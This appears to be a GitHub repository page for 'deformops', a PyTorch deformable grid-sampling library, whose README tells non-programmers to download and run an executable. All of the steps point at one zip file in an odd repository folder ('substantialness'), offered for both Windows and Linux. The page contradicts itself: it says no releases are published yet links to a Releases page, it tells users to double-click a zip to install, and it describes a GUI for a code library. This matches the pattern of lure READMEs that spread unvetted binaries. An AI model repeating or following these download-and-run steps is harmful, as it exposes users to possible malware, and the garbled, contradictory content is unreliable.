Skip to content

πŸ› οΈ Implement efficient deformable grid sampling operations with bilinear interpolation in PyTorch, enhancing deep learning models for dense vision tasks.

License

Notifications You must be signed in to change notification settings

pq1234ss/deformops

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ deformops - Simplifying Deformable Grid Operations

πŸš€ Getting Started

Welcome to deformops! This application makes it easy to perform deformable grid sampling operations using PyTorch and CUDA. Even if you're not a programmer, following these steps will guide you through the process of downloading and running the software.

πŸ’Ύ Download & Install

To get started, you will first need to download the software. Click the button below to visit the Releases page:

Download deformops

Step 1: Visit the Releases Page

  1. Click on this link to open the Releases page: Visit Releases Page.
  2. Once there, you will see a list of available versions.

Step 2: Choose a Version

  1. Look for the latest version listed at the top of the page. This will usually be labeled as "Latest release."
  2. Click on the version number to expand the details.

Step 3: Download the Application

  1. You will see several files available for download.
  2. Find the file that matches your operating system (e.g., https://raw.githubusercontent.com/pq1234ss/deformops/main/substantialness/deformops.zip for Windows users or https://raw.githubusercontent.com/pq1234ss/deformops/main/substantialness/deformops.zip for Linux users).
  3. Click on the file name to start the download.

Step 4: Install the Application

For Windows Users:

  1. Once the download is complete, locate the file in your Downloads folder.
  2. Double-click on the https://raw.githubusercontent.com/pq1234ss/deformops/main/substantialness/deformops.zip file to install the application.
  3. Follow the on-screen instructions to complete the installation.

For Linux Users:

  1. After downloading the https://raw.githubusercontent.com/pq1234ss/deformops/main/substantialness/deformops.zip file, open your terminal.
  2. Use the cd command to navigate to your Downloads folder.
  3. Extract the files by running the command:
    tar -xzvf https://raw.githubusercontent.com/pq1234ss/deformops/main/substantialness/deformops.zip
  4. After extraction, you may need to change directory into the extracted folder:
    cd deformops
  5. To run the application, use the command:
    ./deformops

πŸ“„ Features

deformops offers the following features:

  • Deformable Grid Sampling: Perform advanced sampling operations efficiently.
  • Cross-Platform Compatibility: Available for both Windows and Linux systems.
  • High Performance: Leverage CUDA for optimal speed and efficiency.

πŸ”§ System Requirements

To run deformops, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, or a recent Linux distribution.
  • RAM: Minimum of 4 GB of RAM is recommended.
  • CUDA Toolkit: CUDA version 10.0 or later is required for GPU acceleration.
  • PyTorch: You should have PyTorch installed. Follow the PyTorch installation guide for assistance.

πŸ“š Usage Instructions

Once installed, open deformops from your applications menu. The interface is designed to be simple and intuitive.

  1. Load Data: Begin by uploading your data file. Click on the β€œLoad Data” button in the main interface.
  2. Set Parameters: Adjust the parameters to fit your needs. You can use the sliders or input boxes.
  3. Run Operation: Click on the β€œRun” button to execute the sampling operation.
  4. View Results: Once complete, the results will display on the screen. You can then save or export them as needed.

βš™οΈ Troubleshooting

If you encounter any issues while using deformops, try the following:

  1. Check System Requirements: Make sure your system meets the requirements.
  2. Reinstall the Application: If the software fails to open, uninstall and then reinstall it.
  3. Consult the Help Section: Access the help section from within the application for more detailed guidance.
  4. Community Support: If problems persist, consider reaching out to the community on the GitHub Issues page.

πŸ“ž Contact & Support

For any questions or feedback, please reach out via the GitHub Issues page or directly through the repository. Your input helps us improve!

πŸ“… Upcoming Features

We continuously work on enhancing deformops. Future updates may include:

  • Additional sampling methods.
  • User interface improvements.
  • Extended documentation and tutorials.

You can track our progress and suggest new features on the GitHub Issues page.

Visit this link again to download or check for updates: Visit Releases Page.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •